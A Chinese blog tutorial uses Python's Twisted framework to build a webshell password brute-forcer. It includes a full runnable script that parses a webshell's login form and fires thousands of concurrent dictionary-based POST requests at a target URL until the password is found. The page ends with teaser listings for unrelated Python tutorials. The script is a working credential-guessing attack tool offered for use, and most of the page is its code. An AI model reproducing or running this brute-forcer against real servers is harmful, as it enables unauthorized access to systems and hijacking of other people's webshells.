利用Python的Twisted框架实现webshell密码扫描器的教程_python

好久以来都一直想学习windows中得iocp技术,即异步通信,但是经过长时间研究别人的c++版本,发现过于深奥了,有点吃力,不过幸好python中的twisted技术的存在方便了我。

     iocp即异步通信技术,是windows系统中现在效率最高的一种选择,异步通信顾名思义即与同步通信相对,我们平时写的类似socket.connect  accept等都属于此范畴,同样python中得urlopen也是同步的(为什么提这个,是因为和后面的具体实现有关),总而言之,我们平时写的绝大多数socket,http通信都是同步的。

    同步的程序优点是好想,好写。缺点大家都应该感受到过,比如在connect的时候,recive的时候,程序都会阻塞在那里,等上片刻才能继续前进。

     异步则是另一种处理思路,类似于xml解析的sax方法,换句话说,就是当面临conncet,recive等任务的时候,程序先去执行别的代码,等到网络通信有了结果,系统会通知你,然后再去回调刚才中断的地方。

      具体的代码下面有,我就细说了,大概总结下下面代码涉及到的技术

1.页面解析,webshell密码自动post,必然涉及到页面解析问题,即如何去找到页面中form表单中合适的input元素并提交,其中包括了hidden的有value,password的需要配合字典。具体实现靠的是SGMLParser

 2.正常的页面请求,我利用了urlopen(为了使用cookie,实际使用的是opener),片段如下

  cj = cookielib.CookieJar()
  opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
  req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
  resp = opener.open(req, timeout=60)  

  strlist = resp.read() 

 代码简单,这就是python的魅力,bodyfieleds即为post的参数部分,是一个字典

3.异步的页面请求,这里用了twisted的getpage片段如下:

  self.PostDATA[self.passw] = passl
    #print temp
  zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
  zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

 可以看到如何利用getPage去传递Post参数,以及header(cookie也是防盗header里面的)

以及自定义的Callback函数,可以添加写你需要的参数也传过去,我这里使用了url和pass

4.协程并发,代码如下:

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

  def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds) 

就是这些了。效率上,我在网络通信较好的情况下,40s可以发包收包大致16000个

  

 # -*- coding: utf-8 -*-
  #coding=utf-8 

  #
  #
  # code by icefish
  # http://insight-labs.org/
  # http://wcf1987.iteye.com/
  #
  from twisted.internet import iocpreactor
  iocpreactor.install()
  from twisted.web.client import getPage
  from twisted.internet import defer, task
  from twisted.internet import reactor
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  #import httplib2
  from sgmllib import SGMLParser
  import os
  from httplib import HTTPConnection
  import urllib
  import urllib2
  import sys
  import cookielib
  import time
  import threading
  from Queue import LifoQueue
  from sgmllib import SGMLParser  

  class URLLister(SGMLParser):
    def __init__(self):
      SGMLParser.__init__(self)
      self.input = {}
    def start_input(self, attrs):
      #print attrs 

      for k, v in attrs:
        if k == 'type':
          type = v
        if k == 'name':
          name = v
        if k == 'value':
          value = v
      if type == 'hidden' and value != None:
        self.input[name] = value
      if type == 'password' :
        self.input['icekey'] = name 

  class webShellPassScan(object):
    def __init__(self, url, dict):
      self.url = url
      self.ThreadNum = 10
      self.dict = dict
    def getInput(self, url):
      html, c = self.PostUrl(url, '')
      parse = URLLister()
      parse.feed(html)
      return parse.input 

    def PostUrl(self, url, bodyfieleds):
      try:   

        cj = cookielib.CookieJar()
        opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
        req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
        resp = opener.open(req, timeout=60)  

        strlist = resp.read()
        cookies = []
        for c in cj:
          cookies.append(c.name + '=' + c.value) 

        return strlist, cookies
      except : 

        return '' 

    def parse_page(self, data, url, passk):
      #print url 

      self.TestNum = self.TestNum + 1
      if data != self.sret and len(data) != 0 and data != 'iceerror':
        self.timeEnd = time.time()
        print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
        print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
        print 'total Scan Passwords:' + str(self.TestNum)
        print "*************************the key pass***************************\n"
        print passk
        print "*************************the key pass***************************\n"
        reactor.stop() 

      if self.TestNum % 1000 == 0:
            #print TestNum
            sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
            sys.stdout.flush() 

    def fetch_error(self, error, url, passl):
      self.addURL(passl)
    def run(self): 

        self.timeStart = 0
        self.timeEnd = 0
        self.TestNum = 0
        self.sret = ''
        print '\n\ndetect the WebShell URL:' + self.url
        self.PassNum = 0 

        self.timeStart = time.time()
        print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
        filepath = os.path.abspath(os.curdir)
        file = open(filepath + "\\" + self.dict)
        self.passlist = [] 

        for lines in file:
          self.passlist.append(lines.strip())
          #print lines.strip()
        file.close()
        PassNum = len(self.passlist)
        print 'get passwords num:' + str(PassNum) 

        inputdic = self.getInput(self.url)
        self.passw = inputdic['icekey']
        del inputdic['icekey']
        self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
        self.sret, cookies = self.PostUrl(self.url, self.PostDATA)
        self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
        self.headers['cookies'] = cookies
        print 'cookies:' + str(cookies) 

        self.DoTask()
        #self.DoTask2()
        #self.DoTask3()
        print 'start run'
        self.key = 'start'
        reactor.run() 

    def InitTask(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        yield d 

    def InitTask2(self):
      for passl in self.passlist[:]:
        d = self.sem.run(self.addURL, passl)
        self.deferreds.append(d) 

    def InitTask3(self):
      for passl in self.passlist[:]:
        d = self.addURL(passl)
        self.deferreds.append(d) 

    def DoTask(self):
      deferreds = []
      coop = task.Cooperator()
      work = self.InitTask()
      for i in xrange(self.ThreadNum):
        d = coop.coiterate(work)
        deferreds.append(d)
      dl = defer.DeferredList(deferreds)
      #dl.addErrback(self.errorCall)
      #dl.addCallback(self.finish) 

    def DoTask2(self): 

      self.deferreds = []
      self.sem = defer.DeferredSemaphore(self.ThreadNum)
      self.InitTask2()
      dl = defer.DeferredList(self.deferreds) 

    def DoTask3(self): 

      self.deferreds = [] 

      self.InitTask3()
      dl = defer.DeferredList(self.deferreds) 

    def addURL(self, passl): 

      self.PostDATA[self.passw] = passl
        #print temp
      zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
      zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)  

      return zs 

  a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
  a.run()

      

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索python
python框架 twisted、python shell 框架、webshell扫描器、webshell暴力扫描器、webshell批量扫描器,以便于您获取更多的相关知识。

时间: 2024-11-03 01:47:20

利用Python的Twisted框架实现webshell密码扫描器的教程_python的相关文章

在Python的Flask框架中使用模版的入门教程_python

 概述 如果你已经阅读过上一个章节,那么你应该已经完成了充分的准备工作并且创建了一个很简单的具有如下文件结构的Web应用:   microblog     |-flask文件夹     |-<一些虚拟环境的文件>     |-app文件夹     |  |-static文件夹     |  |-templates文件夹     |  |-__init__.py文件     |  |-views.py文件     |-tmp文件夹     |-run.py文件 亲,想要运行这个程序么?那就运行这

使用Python的Django框架实现事务交易管理的教程_python

 如果你花费了很多的时间去进行Django数据库事务处理的话,你将会了解到这是让人晕头转向的. 在过去,只是提供了简单的基础文档,要想清楚知道它是怎么使用的,还必须要通过创建和执行Django的事务处理. 这里有众多的Django事务处理的名词,例如:commit_on_success , commit_manually , commit_unless_maneged,rollback_unless_managed,enter_transaction_management,leace_trans

Python的Flask框架中@app.route的用法教程_python

在我上一篇文章,我搭了一个框架,模拟了Flask网站上"@app.route('/')"第一条例子的行为. 如果你错过了那篇"这不是魔法",请点击这里. 在这篇文章中,我们打算稍微调高点难度,为我们的URL加入可变参数的能力,在本文的最后,我们将支持下述代码段所期望达到的行为. app = Flask(__name__) @app.route("/hello/<username>") def hello_user(username):

在Python的Django框架上部署ORM库的教程_python

Python ORM 概览 作为一个美妙的语言,Python 除了 SQLAlchemy 外还有很多ORM库.在这篇文章里,我们将来看看几个流行的可选ORM 库,以此更好地窥探到Python ORM 境况.通过写一段脚本来读写2个表 ,person 和 address 到一个简单的数据库,我们能更好地理解每个ORM库的优缺点. SQLObject SQLObject 是一个介于SQL数据库和Python之间映射对象的Python ORM.得益于其类似于Ruby on Rails的ActiveRe

用Python的Django框架完成视频处理任务的教程_python

Stickyworld 的网页应用已经支持视频拨放一段时间,但都是通过YouTube的嵌入模式实现.我们开始提供新的版本支持视频操作,可以让我们的用户不用受制于YouTube的服务. 我过去曾经参与过一个项目,客户需要视频转码功能,这实在不是个容易达成的需求.需要大量的读取每一个视频.音讯与视频容器的格式再输出符合网页使用与喜好的视频格式. 考虑到这一点,我们决定将转码的工作交给 Encoding.com .这个网站可以免费让你编码1GB大小的视频,超过1GB容量的文件将采取分级计价收费. 开发

Python的Flask框架中web表单的教程_python

 概要 在前面章节我们为主页定义了一个简单的模板,部分尚未实现的模块如用户或帖子等使用模拟的对象作为临时占位. 本章我们将看到如何利用web表单填补这些空白. web表单是web应用中最基本的构建要素,我们将通过表单来实现用户发帖和应用登录功能. 完成本章内容你需要基于前面章节完成的微博应用代码,请确认这些代码已安装并能正常运行. 配置 Flask-WTF是WTForms项目的Flask框架扩展,我们将用他来帮助我们处理web表单. 大部分Flask扩展都需要定义相关配置项,所以我们先来在应用根

Python的Bottle框架中获取制定cookie的教程_python

这两天为用bottle+mongodb写的一个项目加上登录功能,无奈怎么都获取不到保存的cookie,文档给出让我们这样操作cookie的代码片段: @route('/login') def login (): username = request .forms .get('username ') password = request .forms .get('password ') if check_user_credentials(username, password): response

Python的Flask框架中web表单的教程

  下面为你介绍了Python的Flask框架中web表单的教程,表单是学习各个web框架中的基础知识,需要的朋友可以参考下 概要 在前面章节我们为主页定义了一个简单的模板,部分尚未实现的模块如用户或帖子等使用模拟的对象作为临时占位. 本章我们将看到如何利用web表单填补这些空白. web表单是web应用中最基本的构建要素,我们将通过表单来实现用户发帖和应用登录功能. 完成本章内容你需要基于前面章节完成的微博应用代码,请确认这些代码已安装并能正常运行. 配置 Flask-WTF是WTForms项

如何在Python的Flask框架中使用模版的入门教程

  如何在Python的Flask框架中使用模版的入门教程?          概述 如果你已经阅读过上一个章节,那么你应该已经完成了充分的准备工作并且创建了一个很简单的具有如下文件结构的Web应用: microblog |-flask文件夹 |-<一些虚拟环境的文件> |-app文件夹 | |-static文件夹 | |-templates文件夹 | |-__init__.py文件 | |-views.py文件 |-tmp文件夹 |-run.py文件 以上给你介绍了在Python的Flask